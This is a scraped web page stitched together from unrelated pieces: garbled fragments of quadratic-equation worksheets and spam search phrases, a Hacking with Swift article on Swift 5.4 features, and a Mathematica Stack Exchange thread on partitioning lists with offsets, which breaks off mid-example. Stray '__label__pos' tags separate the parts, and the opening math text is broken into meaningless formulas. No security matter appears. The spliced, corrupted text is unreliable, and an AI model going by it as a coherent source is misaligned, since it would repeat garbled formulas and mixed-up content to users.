Quadratic Functions Use a table of values to graph each function. State the domain the range. 1. y = x 2 - 4 2. y (=-x 2 (+ 3 3. y = = x 2-2 x-6 7 x y O x y O x y OThe first step in solving any linear equation is to simplify each side of the equation by removing parentheses and combining like terms. Then you can solve the equation as usual. EXAMPLE Solve 1 + 2x − 5 = 2(1 − x). TRY IT Solve. 1 2x 5 21 x 7. 3 :1𝑥 ;9 2 2x 2x 4 2 2 x Simplify each side. 8. 53 :2𝑥 F3 ;2 2x 2 x Add 2x to both sides ...Lesson 10-2 Quadratic Functions Practice Sheet Algebra 1-Pearson I. Benchmark/Standard: a. A-SSE.1. Interpret expressions that represent a quantity in terms of its context. b. A-SSE.1a. Interpret parts of an expression, such as terms, factors, and coefficients. c. A-REI.10. Understand that the graph of an equation in two variables is the set of ... when . A quadratic equation can have one, two, or no zeros. There are four general strategies for finding the zeros of a quadratic equation: 1) Solve the quadratic equation using the quadratic formula. 2) Solve the quadratic equation using the completing the square method. 3) Solve the quadratic equation using the factoring by grouping method.Welcome to The Solving Quadratic Equations with Positive 'a' Coefficients of 1 (A) Math Worksheet from the Algebra Worksheets Page at Math-Drills.com. This math worksheet was created on 2019-11-25 and has been viewed 92 times this week and 2,655 times this month. It may be printed, downloaded or saved and used in your classroom, home school, or other educational environment to help someone ...9 2 solving quadratic equations by graphing pdf free name date period 5 word problem practice using the formula 1 business tanya runs a catering round your answer to worksheet tessshlo mcgraw hill higher education problems standard form khan academy 4 skills factoring page 25 examples solutions s worksheets activities gcse igcse level maths …Duration: 0 hrs 20 mins Scoring: 10 points LESSON 2: SOLVING LINEAR EQUATIONS Study: Solving Linear Equations Review the strategy for isolating variables in multistep equations. Explore equations that have zero, one, or infinite solutions. Duration: 0 hrs 35 mins Scoring: 0 points Checkup: Practice Problems Check your understanding of the lesson.Graph of a Quadratic Function: MCQs | Level 2 Stocked with 15 MCQs, this resource is designed by math experts to seamlessly align with CCSS. Get students to convert the standard form of a quadratic function to vertex form or intercept form using factorization or completing the square method and then choose the correct graph from the given options.Section 3-1 : Graphing. For problems 1 - 3 construct a table of at least 4 ordered pairs of points on the graph of the equation and use the ordered pairs from the table to sketch the graph of the equation. y = 3x +4 y = 3 x + 4 Solution. y = 1 −x2 y = 1 − x 2 Solution.May 31, 2017 · h (t) = − 5 t 2 + 10 t + 20 h (t) = − 5 (0) 2 + 10 (0) + 20 h (t) = 20 y d. The initial height of the toy rocket is 20 yards. This is the y-intercept of the graph. The y-intercept of a quadratic function written in general form is the value of ‘ c ’. The time at which the rocket reaches its maximum height is the x-coordinate of the ... know and do mathematics by solving a range of problems and engaging in key mathematical practices. The development of the standards was informed by international benchmarking and began with research on what is known about how students’ mathematical knowledge, skills, and understanding develop over time. The progression from kindergarten Draw the graph of the quadratic function y = x2 - 4x + 1 by following the steps below. 1. Find the vertex and the line of symmetry by expressing the function in the form y = a (x - h)2 + k or by using the formula h = -b 2a ; k = 4ac - b2 4a if the given quadratic function is in general form. 2.The quadratic formula can only be used to solve quadratic equations that cannot be solved by factoring or graphing. 9. ... Skills Practice Graphing Quadratic Functions Use a table of values to graph each function. State the domain the range. 1. y = x 2 - 4 2. y (=-x 2 (+ 3 3. y = = x 2-2 x-6 7 x y O x y O x y OOne of the TEKS of Math Models is A.7A which is graphing and identifying the key features of a quadratic. Also in the state of Texas, we have process standards which includes students applying a number of skills from math to life and the real world as well as using problem solving skills and methods.To solve a quadratic equation: 1. Extract the highest common factor (if any) 2. Factorise the quadratic expression if possible. If it is a non-monic quadratic trinomial, use one of the following factorisation methods: (a) Pairing method. (b) Fraction method.Lesson 10-1 Graphing Quadratic Functions 527 CHECK Does ( 3, 5) satisfy the equation? y 3x2 6x 4 Original equation 5 3( 3)2 6( 3) 4 y 5 and x 3 5 5 Simplify. The ordered pair ( 3, 5) satisfies y 3x2 4x 5, and the point is on the graph. Match Equations and Graphs Multiple-Choice Test Item Read the Test ItemSolving quadratics by factoring. Practice: Quadratics by factoring (intro) Solving quadratics by factoring: leading coefficient ≠ 1. Practice: Quadratics by factoring. This is the currently selected item. Solving quadratics using structure. Practice: Solve equations using structure. Quadratic equations word problem: triangle dimensions.how to unlock bootloader without developer optionsperkins 248 torque settingsscipy root findingcody jinks tickets 2022how long to air fry fish filletsfulvic mineral powder side effectsnews scrolling text makeraws api rate limitsdatenum to datetime - fd
|
__label__pos
| 0.997055 |
NEW: Start my new Ultimate Portfolio App course with a free Hacking with Swift+ trial! >>
What’s new in Swift 5.4?
Multiple variadic parameters, improved implicit member syntax, result builders, and more!
Paul Hudson @twostraws
Swift 5.4 brings with it some huge compilation improvements, including better code completion in expressions with errors and big speed ups for incremental compilation. However, it also adds some important new features and refinements, so let’s dig into them here…
Hacking with Swift is sponsored by RevenueCat
SPONSORED Building and maintaining in-app subscription infrastructure is hard. Luckily there's a better way. With RevenueCat, you can implement subscriptions for your app in hours, not months, so you can get back to building your app.
Try it for free
Sponsor Hacking with Swift and reach the world's largest Swift community!
Improved implicit member syntax
SE-0287 improves Swift’s ability to use implicit member expressions, so rather than just having support for exactly one single static member you can make chains of them.
Swift has always had the ability to use implicit member syntax for simple expressions, for example if you wanted to color some text in SwiftUI you could use .red rather than Color.red:
struct ContentView1: View {
var body: some View {
Text("You're not my supervisor!")
.foregroundColor(.red)
}
}
Prior to Swift 5.4 this did not work with more complex expressions. For example, if you wanted your red color to be slightly transparent you would need to write this:
struct ContentView2: View {
var body: some View {
Text("You're not my supervisor!")
.foregroundColor(Color.red.opacity(0.5))
}
}
From Swift 5.4 onwards the compiler is able to understand multiple chained members, meaning that the Color type can be inferred:
struct ContentView3: View {
var body: some View {
Text("You're not my supervisor!")
.foregroundColor(.red.opacity(0.5))
}
}
Multiple variadic parameters in functions
SE-0284 introduced the ability to have functions, subscripts, and initializers use multiple variadic parameters as long as all parameters that follow a variadic parameter have labels. Before Swift 5.4, you could only have one variadic parameter in this situation.
So, with this improvement in place we could write a function that accepts a variadic parameter storing the times goals were scored during a football match, plus a second variadic parameter scoring the names of players who scored:
func summarizeGoals(times: Int..., players: String...) {
let joinedNames = ListFormatter.localizedString(byJoining: players)
let joinedTimes = ListFormatter.localizedString(byJoining: times.map(String.init))
print("\(times.count) goals where scored by \(joinedNames) at the follow minutes: \(joinedTimes)")
}
To call that function, provide both sets of values as variadic parameters, making sure that all parameters after the first variadic are labeled:
summarizeGoals(times: 18, 33, 55, 90, players: "Dani", "Jamie", "Roy")
Result builders
Function builders unofficially arrived in Swift 5.1, but in the run up to Swift 5.4 they formally went through the Swift Evolution proposal process as SE-0289 in order to be discussed and refined. As part of that process they were renamed to result builders to better reflect their actual purpose, and even acquired some new functionality.
First up, the most important part: result builders allow us to create a new value step by step by passing in a sequence of our choosing. They power large parts of SwiftUI’s view creation system, so that when we have a VStack with a variety of views inside, Swift silently groups them together into an internal TupleView type so that they can be stored as a single child of the VStack – it turns a sequence of views into a single view.
Result builders deserve their own detailed article, but I at least want to give you some small code examples so you can see them in action.
Here is a function that returns a single string:
func makeSentence1() -> String {
"Why settle for a Duke when you can have a Prince?"
}
print(makeSentence1())
That works great, but what if had several strings we wanted to join together? Just like SwiftUI, we might want to provide them all individually and have Swift figure it out:
// This is invalid Swift, and will not compile.
// func makeSentence2() -> String {
// "Why settle for a Duke"
// "when you can have"
// "a Prince?"
// }
By itself, that code won’t work because Swift no longer understands what we mean. However, we could create a result builder that understands how to convert several strings into one string using whatever transformation we want, like this:
@resultBuilder
struct SimpleStringBuilder {
static func buildBlock(_ parts: String...) -> String {
parts.joined(separator: "\n")
}
}
Even though that’s a small amount of code, there’s a lot to unpack:
• The @resultBuilder attribute tells SwiftUI the following type should be treated as a result builder. Previously this behavior was achieved using @_functionBuilder, which had an underscore to show that this wasn’t designed for general use.
• Every result builder must provide at least one static method called buildBlock(), which should take in some sort of data and transform it. The example above takes in zero or more strings, joins them, and sends them back as a single string.
• The end result is that our SimpleStringBuilder struct becomes a result builder, meaning that we can use @SimpleStringBuilder anywhere we need its string joining powers.
There’s nothing to stop us from using SimpleStringBuilder.buildBlock() directly, like this:
let joined = SimpleStringBuilder.buildBlock(
"Why settle for a Duke",
"when you can have",
"a Prince?"
)
print(joined)
However, because we used the @resultBuilder annotation with our SimpleStringBuilder struct, we can also apply that to functions, like this:
@SimpleStringBuilder func makeSentence3() -> String {
"Why settle for a Duke"
"when you can have"
"a Prince?"
}
print(makeSentence3())
Notice how we no longer need the commas at the end of each string – @resultBuilder automatically transforms each statement in makeSentence() into a single string by using SimpleStringBuilder.
In practice, result builders are capable of significantly more, accomplished by adding more methods to your builder type. For example, we could add if/else support to our SimpleStringBuilder by adding two extra methods that describe how we want to transform the data. In our code we don’t want to transform our strings at all, so we can send them right back:
@resultBuilder
struct ConditionalStringBuilder {
static func buildBlock(_ parts: String...) -> String {
parts.joined(separator: "\n")
}
static func buildEither(first component: String) -> String {
return component
}
static func buildEither(second component: String) -> String {
return component
}
}
I know that looks like we’ve done almost no work, but now our functions are able to use conditions:
@ConditionalStringBuilder func makeSentence4() -> String {
"Why settle for a Duke"
"when you can have"
if Bool.random() {
"a Prince?"
} else {
"a King?"
}
}
print(makeSentence4())
Similarly, we could add support for loops by adding a buildArray() method to our builder type:
@resultBuilder
struct ComplexStringBuilder {
static func buildBlock(_ parts: String...) -> String {
parts.joined(separator: "\n")
}
static func buildEither(first component: String) -> String {
return component
}
static func buildEither(second component: String) -> String {
return component
}
static func buildArray(_ components: [String]) -> String {
components.joined(separator: "\n")
}
}
And now we can use for loops:
@ComplexStringBuilder func countDown() -> String {
for i in (0...10).reversed() {
"\(i)…"
}
"Lift off!"
}
print(countDown())
It feels almost like magic because the result builder system is doing almost all the work for us, and even though our example has been fairly simple I hope you can get a taste for the remarkable power result builders bring to Swift.
It’s worth adding that Swift 5.4 extends the result builder system to support attributes being placed on stored properties, which automatically adjusts the implicit memberwise initializer for structs to apply the result builder.
This is particularly helpful for custom SwiftUI views that use result builders, such as this one:
struct CustomVStack<Content: View>: View {
@ViewBuilder let content: Content
var body: some View {
VStack {
// custom functionality here
content
}
}
}
If you’d like to see more advanced, real-world examples of result builders in action, you should check out the Awesome Function Builders repository on GitHub.
Local functions now support overloading
SR-10069 requested the ability to overload functions in local contexts, which in practice means nested functions can now be overloaded so that Swift chooses which one to run based on the types that are used.
For example, if we wanted to make some simple cookies we might write code like this:
struct Butter { }
struct Flour { }
struct Sugar { }
func makeCookies() {
func add(item: Butter) {
print("Adding butter…")
}
func add(item: Flour) {
print("Adding flour…")
}
func add(item: Sugar) {
print("Adding sugar…")
}
add(item: Butter())
add(item: Flour())
add(item: Sugar())
}
Prior to Swift 5.4, the three add() methods could be overloaded only if they were not nested inside makeCookies(), but from Swift 5.4 onwards function overloading is supported in this case as well.
Property wrappers are now supported for local variables
Property wrappers were first introduced in Swift 5.1 as a way of attaching extra functionality to properties in an easy, reusable way, but in Swift 5.4 their behavior got extended to support using them as local variables in functions.
For example, we could create a property wrapper that ensures its value never goes below zero:
@propertyWrapper struct NonNegative<T: Numeric & Comparable> {
var value: T
var wrappedValue: T {
get { value }
set {
if newValue < 0 {
value = 0
} else {
value = newValue
}
}
}
init(wrappedValue: T) {
if wrappedValue < 0 {
self.value = 0
} else {
self.value = wrappedValue
}
}
}
And from Swift 5.4 onwards we can use that property wrapper inside a regular function, rather than just attaching to a property. For example, we might write a game where our player can gain or lose points, but their score should never go below 0:
func playGame() {
@NonNegative var score = 0
// player was correct
score += 4
// player was correct again
score += 8
// player got one wrong
score -= 15
// player got another one wrong
score -= 16
print(score)
}
Packages can now declare executable targets
SE-0294 adds a new target option for apps using Swift Package manager, allowing us to explicitly declare an executable target.
This is particularly important for folks who want to use SE-0281 (using @main to mark your program’s entry point), because it didn’t play nicely with Swift Package Manager – it would always look for a main.swift file.
With this change, we can now remove main.swift and use @main instead. Note: You must specify // swift-tools-version:5.4 in your Package.swift file in order to get this new functionality.
Trying it yourself
Swift 5.4 is available through Xcode 12.5, which went into beta February 1st 2021. If you haven’t yet upgraded to macOS Big Sur you won’t be able to install Xcode 12.5, so instead you should download a Swift 5.4 toolchain from https://swift.org/download/ – you can install that into Xcode 12.4 and earlier.
Which features of Swift 5.4 are you most looking forward to?
Hacking with Swift is sponsored by RevenueCat
SPONSORED Building and maintaining in-app subscription infrastructure is hard. Luckily there's a better way. With RevenueCat, you can implement subscriptions for your app in hours, not months, so you can get back to building your app.
Try it for free
Sponsor Hacking with Swift and reach the world's largest Swift community!
BUY OUR BOOKS
Buy Pro Swift Buy Swift Design Patterns Buy Testing Swift Buy Hacking with iOS Buy Swift Coding Challenges Buy Swift on Sundays Volume One Buy Server-Side Swift (Vapor Edition) Buy Advanced iOS Volume One Buy Advanced iOS Volume Two Buy Advanced iOS Volume Three Buy Hacking with watchOS Buy Hacking with tvOS Buy Hacking with macOS Buy Dive Into SpriteKit Buy Swift in Sixty Seconds Buy Objective-C for Swift Developers Buy Server-Side Swift (Kitura Edition) Buy Beyond Code
About the author
Paul Hudson is the creator of Hacking with Swift, the most comprehensive series of Swift books in the world. He's also the editor of Swift Developer News, the maintainer of the Swift Knowledge Base, and a speaker at Swift events around the world. If you're curious you can learn more here.
Was this page useful? Let us know!
Average rating: 4.6/5
Unknown user
You are not logged in
Log in or create account
Link copied to your pasteboard.
|
__label__pos
| 0.991091 |
Error Handling in Rust programming
Error Handling in Rust programming
Error Handling. Rust's commitment to reliability extends to error handling. Errors are a fact of life in software, so Rust has a number of features for handling ...
In Rust, errors can be classified into two major categories as shown in the table below.
A recoverable error is an error that can be corrected. A program can retry the failed operation or specify an alternate course of action when it encounters a recoverable error. Recoverable errors do not cause a program to fail abruptly. An example of a recoverable error is File Not Found error.
Unrecoverable errors cause a program to fail abruptly. A program cannot revert to its normal state if an unrecoverable error occurs. It cannot retry the failed operation or undo the error. An example of an unrecoverable error is trying to access a location beyond the end of an array.
Unlike other programming languages, Rust does not have exceptions. It returns an enum Result<T, E> for recoverable errors, while it calls the panic macro if the program encounters an unrecoverable error. The panic macro causes the program to exit abruptly.
Panic Macro and Unrecoverable Errors
panic! macro allows a program to terminate immediately and provide feedback to the caller of the program. It should be used when a program reaches an unrecoverable state.
fn main() {
panic!("Hello");
println!("End of main"); //unreachable statement
}
In the above example, the program will terminate immediately when it encounters the panic!macro.
Output
thread 'main' panicked at 'Hello', main.rs:3
Illustration: panic! macro
fn main() {
let a = [10,20,30];
a[10]; //invokes a panic since index 10 cannot be reached
}
Output is as shown below −
warning: this expression will panic at run-time
--> main.rs:4:4
|
4 | a[10];
| ^^^^^ index out of bounds: the len is 3 but the index is 10
$main thread 'main' panicked at 'index out of bounds: the len is 3 but the index is 10', main.rs:4 note: Run with RUST_BACKTRACE=1 for a backtrace.
A program can invoke the panic! macro if business rules are violated as shown in the example below −
fn main() {
let no = 13;
//try with odd and even
if no%2 == 0 {
println!("Thank you , number is even");
} else {
panic!("NOT_AN_EVEN");
}
println!("End of main");
}
The above example returns an error if the value assigned to the variable is odd.
Output
thread 'main' panicked at 'NOT_AN_EVEN', main.rs:9
note: Run with RUST_BACKTRACE=1 for a backtrace.
Result Enum and Recoverable Errors
Enum Result – <T,E> can be used to handle recoverable errors. It has two variants − OK and ErrT and E are generic type parameters. T represents the type of the value that will be returned in a success case within the OK variant, and E represents the type of the error that will be returned in a failure case within the Err variant.
enum Result<T,E> {
OK(T),
Err(E)
}
Let us understand this with the help of an example −
use std::fs::File;
fn main() {
let f = File::open("main.jpg");
//this file does not exist
println!("{:?}",f);
}
The program returns OK(File) if the file already exists and Err(Error) if the file is not found.
Err(Error { repr: Os { code: 2, message: "No such file or directory" } })
Let us now see how to handle the Err variant.
The following example handles an error returned while opening file using the matchstatement
use std::fs::File;
fn main() {
let f = File::open("main.jpg"); // main.jpg doesn't exist
match f {
Ok(f)=> {
println!("file found {:?}",f);
},
Err(e)=> {
println!("file not found \n{:?}",e); //handled error
}
}
println!("end of main");
}
NOTE − The program prints end of the main event though file was not found. This means the program has handled error gracefully.
Output
file not found
Os { code: 2, kind: NotFound, message: "The system cannot find the file specified." }
end of main
Illustration
The is_even function returns an error if the number is not an even number. The main() function handles this error.
fn main(){
let result = is_even(13);
match result {
Ok(d)=>{
println!("no is even {}",d);
},
Err(msg)=>{
println!("Error msg is {}",msg);
}
}
println!("end of main");
}
fn is_even(no:i32)->Result<bool,String> {
if no%2==0 {
return Ok(true);
} else {
return Err("NOT_AN_EVEN".to_string());
}
}
NOTE − Since the main function handles error gracefully, the end of main statement is printed.
Output
Error msg is NOT_AN_EVEN
end of main
unwrap() and expect()
The standard library contains a couple of helper methods that both enums − Result<T,E> and Option<T> implement. You can use them to simplify error cases where you really do not expect things to fail. In case of success from a method, the "unwrap" function is used to extract the actual result.
unwrap()
The unwrap() function returns the actual result an operation succeeds. It returns a panic with a default error message if an operation fails. This function is a shorthand for match statement. This is shown in the example below −
fn main(){
let result = is_even(10).unwrap();
println!("result is {}",result);
println!("end of main");
}
fn is_even(no:i32)->Result<bool,String> {
if no%2==0 {
return Ok(true);
} else {
return Err("NOT_AN_EVEN".to_string());
}
}
result is true
end of main
Modify the above code to pass an odd number to the is_even() function.
The unwrap() function will panic and return a default error message as shown below
thread 'main' panicked at 'called Result::unwrap() on
an Err value: "NOT_AN_EVEN"', libcore\result.rs:945:5
note: Run with RUST_BACKTRACE=1 for a backtrace
expect()
The program can return a custom error message in case of a panic. This is shown in the following example −
use std::fs::File;
fn main(){
let f = File::open("pqr.txt").expect("File not able to open");
//file does not exist
println!("end of main");
}
The function expect() is similar to unwrap(). The only difference is that a custom error message can be displayed using expect.
Output
thread 'main' panicked at 'File not able to open: Error { repr: Os
{ code: 2, message: "No such file or directory" } }', src/libcore/result.rs:860
note: Run with RUST_BACKTRACE=1 for a backtrace.
Thanks for reading. If you liked this post, share it with all of your programming buddies!
Further reading
Why you should learn the Rust programming language
☞ The Rust Programming Language
☞ Rust: Building Reusable Code with Rust from Scratch
☞ Programming in Rust: the good, the bad, the ugly.
☞ An introduction to Web Development with Rust for Node.js Developers
rust web-development
Bootstrap 5 Complete Course with Examples
Bootstrap 5 Tutorial - Bootstrap 5 Crash Course for Beginners
Nest.JS Tutorial for Beginners
Hello Vue 3: A First Look at Vue 3 and the Composition API
Building a simple Applications with Vue 3
Deno Crash Course: Explore Deno and Create a full REST API with Deno
How to Build a Real-time Chat App with Deno and WebSockets
Convert HTML to Markdown Online
HTML entity encoder decoder Online
Hire Web Developer
Looking for an attractive & user-friendly web developer? HourlyDeveloper.io, a leading web, and mobile app development company, offers web developers for hire through flexible engagement models. You can **[Hire Web...
Why Web Development is Important for your Business
With the rapid development in technology, the old ways to do business have changed completely. A lot more advanced and developed ways are ...
Important Reasons to Hire a Professional Web Development Company
You name the business and I will tell you how web development can help you promote your business. If it is a startup or you seeking some...
Hire Dedicated eCommerce Web Developers | Top eCommerce Web Designers
Build your eCommerce project by hiring our expert eCommerce Website developers. Our Dedicated Web Designers develop powerful & robust website in a short span of time.
How long does it take to develop/build an app?
This article covers A-Z about the mobile and web app development process and answers your question on how long does it take to develop/build an app.
|
__label__pos
| 0.969395 |
lmiguelvargasf lmiguelvargasf - 1 year ago 94
Python Question
Unsupported operand(s) types(s) when trying to assertAlmostEqual/assertEqual
I am trying to test that two objects are equal. The type of this objects is Point which is a class defined by ROS (Robot Operating System). I have the following test:
def test_when_getting_position_after_2s_then_position_at_2s_is_returned(self):
self.expected_position.x = -self.radius
self.expected_position.y = 0
self.assertAlmostEqual(
self.expected_position,
self.trajectory.get_position_at(2))
I am using
unittest
, and when I try to assert if they are almost equal, I am getting an error which says:
TypeError: unsupported operand type(s) for -: 'Point' and 'Point'
I get the same error when I use
assertEqual
, and I know I can do this:
self.assertAlmostEqual(self.expected_position.x, self.trajectory.get_position_at(1).x)
self.assertAlmostEqual(self.expected_position.y, self.trajectory.get_position_at(1).y)
However, I would like to be able to assert position and not specific fields. How can I achieve this?
Edit: The full traceback of the exception is:
Error
Traceback (most recent call last):
File "/usr/lib/python2.7/unittest/case.py", line 329, in run
testMethod()
File "/home/m/turtlebot_ws/src/trajectory_tracking/src/test/trajectory/test_astroid_trajectory.py", line 26, in test_when_getting_position_after_1s_then_position_at_1s_is_returned
self.assertAlmostEqual(self.expected_position, self.trajectory.get_position_at(1))
File "/usr/lib/python2.7/unittest/case.py", line 554, in assertAlmostEqual
if round(abs(second-first), places) == 0:
TypeError: unsupported operand type(s) for -: 'Point' and 'Point'
Answer Source
assertAlmostEqual(a, b) requires abs(a - b) to be valid, but you did not define the subtraction operator for the Point type, thus the error.
class Point(object):
...
def __sub__(self, other): # <-- define the subtraction operator so `a - b` is valid
return Vector(self.x - other.x, self.y - other.y)
class Vector(object):
...
def __abs__(self): # <-- define the absolute function so `abs(v)` is valid
return (self.x*self.x + self.y*self.y)**0.5
If you cannot provide __sub__ in the class definition, you could use monkey-patching to provide it in your test case.
def sub_point(self, other):
return complex(self.x - other.x, self.y - other.y)
# ^ for simplicity we abuse a complex number as a 2D vector.
Point.__sub__ = sub_point
Recommended from our users: Dynamic Network Monitoring from WhatsUp Gold from IPSwitch. Free Download
|
__label__pos
| 0.765558 |
0
sorry if the question is confusing, but i completed the whodunit problem in pset3 and my doubt was that in the following code:
// iterate over pixels in scanline
for (int j = 0; j < bi.biWidth; j++)
{
// temporary storage
RGBTRIPLE triple;
// read RGB triple from infile
fread(&triple, sizeof(RGBTRIPLE), 1, inptr);
if (triple.rgbtBlue < 0xff && triple.rgbtGreen < 0xff && triple.rgbtRed > 0xfd)
{
triple.rgbtBlue = 0xff;
triple.rgbtGreen = 0xff;
triple.rgbtRed = 0xff;
}
// write RGB triple to outfile
fwrite(&triple, sizeof(RGBTRIPLE), 1, outptr);
}
I understand that the line fread(&triple, sizeof(RGBTRIPLE), 1, inptr); reads 3 bytes (or a pixel) of data from inputr and stores it in triple, which is defined as:
typedef struct
{
BYTE rgbtBlue;
BYTE rgbtGreen;
BYTE rgbtRed;
} __attribute__((__packed__))
RGBTRIPLE;
But how does triple assign 1 byte each, from the 3 bytes, to rgbtBlue, rgbtGreen, and rgbtRed automatically when we are only providing the address to the buffer, &triple. I still know little about structures but to store data in a struct weren't we supposed to assign the value to each member individually?
Also, while trying to use debug50 to find the answer to my question I found that values of rgbtBlue, rgbtGreen and rgbtRed were stored as: <code>Triple</code> values
The first part defines the intensity of the colour, from 0 to 255, but can you please elaborate on the second part in single quotation mark ('\377', 'x')?
Note: The values in the picture are only from one of the iteration of for loop and the some had something like '\307' instead of 'x' for blue and green too.
Thank you for your help :)
1
When a struct is stored in memory, the data for each struct element is stored in sequence. That means that when a struct's data is read, the data is simply read into each element in the same order that it was stored. Individual elements can be selected out by reading them from their position in the struct. It's all about the location of each element in the struct, nothing more complicated than that.
As you might have guessed, debug50 is displaying both the hex values and the ASCII chars that correspond. For 120, it's simple, 'x'. But, 255 is an extended ASCII char, the non-break space, or  . (Google ASCII 255).
If this answers your question, please click on the check mark to accept. Let's keep up on forum maintenance. ;-)
2
• Hey, thanks for the quick explanation. On observing a few more iterations, the characters debug50 can show it shows(like 'x') but replaces the special chars in the extended ASCII with '\number'(like '\307'). What does the backslash number denote? Is it just a simple convention for foreign characters? Couldn't find it on google.
– Akarsh
Oct 31 '19 at 19:55
• Basically, it's saying it's a non-printable and the backslash indicates the number is the decimal ASCII code. If you want to know what it is, google "ASCII TABLE" or "ASCII 307" Above 255, you're looking at unicode.
– Cliff B
Oct 31 '19 at 20:08
You must log in to answer this question.
Not the answer you're looking for? Browse other questions tagged .
|
__label__pos
| 0.933097 |
Take the 2-minute tour ×
Mathematica Stack Exchange is a question and answer site for users of Mathematica. It's 100% free, no registration required.
The usual Partition[] function is a very handy little thing:
Partition[Range[12], 4]
{{1, 2, 3, 4}, {5, 6, 7, 8}, {9, 10, 11, 12}}
Partition[Range[13], 4, 3]
{{1, 2, 3, 4}, {4, 5, 6, 7}, {7, 8, 9, 10}, {10, 11, 12, 13}}
One application I'm working on required me to write a particular generalization of Partition[]'s functionality, which allowed the generation of sublists of unequal lengths, for as long as the lengths were appropriately commensurate. (Let's assume for the purposes of this question that the list lengths being commensurate is guaranteed, but you're welcome to generalize further to the incommensurate case.) Here's my generalization in action:
multisegment[lst_List, scts_List] := Block[{acc},
acc = Prepend[Accumulate[PadRight[scts, Length[lst]/Mean[scts], scts]], 0];
Inner[Take[lst, {#1, #2}] &, Most[acc] + 1, Rest[acc], List]]
multisegment[CharacterRange["a", "x"], {3, 1, 2}]
{{"a", "b", "c"}, {"d"}, {"e", "f"}, {"g", "h", "i"}, {"j"}, {"k", "l"},
{"m", "n", "o"}, {"p"}, {"q", "r"}, {"s", "t", "u"}, {"v"}, {"w", "x"}}
(Thanks to halirutan for optimization help with multisegment[].)
The problem I've hit into is that I wanted multisegment[] to also support offsets, just like in Partition[]. I want to be able to do something like the following:
multisegment[Range[14], {4, 3}, {3, 1}]
{{1, 2, 3, 4}, {4, 5, 6}, {5, 6, 7, 8},
{8, 9, 10}, {9, 10, 11, 12}, {12, 13, 14}}
How might a version of multisegment[] with offsets be accomplished?
share|improve this question
why Block rather than Module? – Mike Honeychurch Jan 30 '12 at 3:37
@Mike, no good reason; it could just as well be Module[] in there... – J. M. Jan 30 '12 at 3:40
What is your application for this? – Mike Honeychurch Jan 31 '12 at 3:36
@Mike: I'm using this to build lattices. The idea is to generate a series of points by rows, and then take the appropriate amount of points from two consecutive rows to build a tile. – J. M. Jan 31 '12 at 3:58
add comment
6 Answers 6
up vote 10 down vote accepted
This is a complete re-write
This is the original solution which was done in haste but i will leave here. It works in limited cases:
multisegment[lst_List, scts_List, offset_List] :=
Module[{acc, offs},
offs = 1+Prepend[Accumulate[PadRight[offset,
1 + Ceiling[Length[lst]/Total[offset]], offset]], 0];
acc = PadRight[scts, Length[offs],scts];
acc = acc + offs - 1;
Inner[Take[lst, {#1, #2}] &, offs, acc, List]
]
multisegment[Range[14], {4, 3}, {3, 1}]
{{1, 2, 3, 4}, {4, 5, 6}, {5, 6, 7, 8}, {8, 9, 10}, {9, 10, 11,
12}, {12, 13, 14}}
To solve this you note that the starting position (for Part or Take) of the list depends solely on the offset list:
{1,4,5,8,9,12}
The "span to" position is determined by adding the partition list
{4,3,4,3,4,3}
to the offset list (minus 1) to give
{4,6,8,10,12,14}
From there, proceed as before with Inner and use either Take or Part. So this becomes an exercise in generating the correct offset list. As earlier failed attempts have shown, this is dependent on both the total of the offsets and the length of the offsets (list).
But also you do not want your Take or "span to" range exceeding the length of your target list. I have taken the easy way out here but using DeleteCases. A more exact and possibly elegant, but maybe not faster (?), approach is to actually work this out based on the partition list.
multisegment[lst_List, scts_List, offset_List] :=
Module[{fin, offs, len = Length[lst], tot = Total[offset], len2 = Length[offset]},
offs = 1 + Prepend[Accumulate[
PadRight[offset, Ceiling[len2*len/tot], offset]], 0];
fin = PadRight[scts, Length[offs], scts] + offs - 1;
fin = DeleteCases[Transpose[{offs, fin}], {_, x_ /; x > len}];
Take[lst, #] & /@ fin]
(* case for no offsets *)
multisegment[lst_List, scts_List] := multisegment[lst, scts, scts]
I prefer to layout the code in steps rather than combine multiple steps into a one (or two) liner. Feel free to do that if you wish but I think this way makes it easier for people to check out what is happening.
Also a qualifier: checks and/or conditions should be added. you cannot have {0} for your partition or offset. Must be integers etc. as per Simon's comments.
Usage. First the base case of an uneven partition with no offset
multisegment[Range[14], {3, 4}]
{{1, 2, 3}, {4, 5, 6, 7}, {8, 9, 10}, {11, 12, 13, 14}}
now add an offset
multisegment[Range[14], {3, 4}, {1, 2}]
{{1, 2, 3}, {2, 3, 4, 5}, {4, 5, 6}, {5, 6, 7, 8}, {7, 8, 9}, {8, 9,
10, 11}, {10, 11, 12}, {11, 12, 13, 14}}
Examples that previously failed:
multisegment[Range[10], {5, 4}, {2, 3}]
{{1, 2, 3, 4, 5}, {3, 4, 5, 6}, {6, 7, 8, 9, 10}}
multisegment[Range[100], {5, 4}, {2, 3}]
{{1, 2, 3, 4, 5}, {3, 4, 5, 6}, {6, 7, 8, 9, 10}, {8, 9, 10, 11}, {11,
12, 13, 14, 15}, {13, 14, 15, 16}, {16, 17, 18, 19, 20}, {18, 19,
20, 21}, {21, 22, 23, 24, 25}, {23, 24, 25, 26}, {26, 27, 28, 29,
30}, {28, 29, 30, 31}, {31, 32, 33, 34, 35}, {33, 34, 35, 36}, {36,
37, 38, 39, 40}, {38, 39, 40, 41}, {41, 42, 43, 44, 45}, {43, 44,
45, 46}, {46, 47, 48, 49, 50}, {48, 49, 50, 51}, {51, 52, 53, 54,
55}, {53, 54, 55, 56}, {56, 57, 58, 59, 60}, {58, 59, 60, 61}, {61,
62, 63, 64, 65}, {63, 64, 65, 66}, {66, 67, 68, 69, 70}, {68, 69,
70, 71}, {71, 72, 73, 74, 75}, {73, 74, 75, 76}, {76, 77, 78, 79,
80}, {78, 79, 80, 81}, {81, 82, 83, 84, 85}, {83, 84, 85, 86}, {86,
87, 88, 89, 90}, {88, 89, 90, 91}, {91, 92, 93, 94, 95}, {93, 94,
95, 96}, {96, 97, 98, 99, 100}}
Example showing it working with increasing offset list length
multisegment[Range[44], {3, 4}, {1, 3, 2}]
{{1, 2, 3}, {2, 3, 4, 5}, {5, 6, 7}, {7, 8, 9, 10}, {8, 9, 10}, {11,
12, 13, 14}, {13, 14, 15}, {14, 15, 16, 17}, {17, 18, 19}, {19, 20,
21, 22}, {20, 21, 22}, {23, 24, 25, 26}, {25, 26, 27}, {26, 27, 28,
29}, {29, 30, 31}, {31, 32, 33, 34}, {32, 33, 34}, {35, 36, 37,
38}, {37, 38, 39}, {38, 39, 40, 41}, {41, 42, 43}}
multisegment[Range[44], {3, 4}, {1, 3, 2, 4}]
